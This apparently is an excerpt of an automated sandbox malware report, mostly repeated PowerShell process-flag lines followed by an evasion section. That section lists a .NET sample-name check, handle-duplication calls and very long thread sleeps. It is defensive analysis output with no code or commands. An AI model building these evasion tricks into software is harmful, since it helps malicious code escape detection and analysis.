                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

                        Malware Analysis System Evasion

                        barindex
                        .NET source code contains a sample name check
                        Source: 11.2.powershell.exe.6369538.1.raw.unpack, ymmhl.cs.Net Code: Main contains sample name check
                        Source: 11.2.powershell.exe.a6f9058.6.raw.unpack, ymmhl.cs.Net Code: Main contains sample name check
                        Source: 11.2.powershell.exe.8d40000.2.raw.unpack, ymmhl.cs.Net Code: Main contains sample name check
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeCode function: 12_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,12_2_0040DD85
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5341Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4490Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: foregroundWindowGot 928Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: foregroundWindowGot 815Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5252Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4160Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4536
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3994
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3311
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4460
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4448
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2977
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5076
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 621
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3127
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4529
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3553
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3699
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1978
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3683
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3716
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2562
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3531
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2395
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeAPI coverage: 8.3 %
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5704Thread sleep count: 5341 > 30Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5696Thread sleep count: 4490 > 30Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5492Thread sleep time: -11990383647911201s >= -30000sJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2672Thread sleep time: -922337203685477s >= -30000sJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2672Thread sleep time: -922337203685477s >= -30000sJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3604Thread sleep count: 5252 > 30Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5712Thread sleep count: 4160 > 30Jump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7180Thread sleep time: -14757395258967632s >= -30000sJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7220Thread sleep time: -922337203685477s >= -30000sJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5712Thread sleep time: -922337203685477s >= -30000sJump to behavior
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7572Thread sleep count: 4536 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7600Thread sleep time: -11990383647911201s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7572Thread sleep count: 3994 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7612Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7572Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7896Thread sleep count: 3311 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7896Thread sleep count: 4460 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7932Thread sleep time: -8301034833169293s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7948Thread sleep time: -1844674407370954s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7900Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8168Thread sleep count: 4448 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8172Thread sleep count: 2977 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2612Thread sleep time: -8301034833169293s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5976Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8172Thread sleep time: -922337203685477s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5512Thread sleep count: 5076 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5752Thread sleep time: -10145709240540247s >= -30000s
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5512Thread sleep count: 621 > 30
                        Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3080Thread sleep time: -922337203685477s >= -30000s
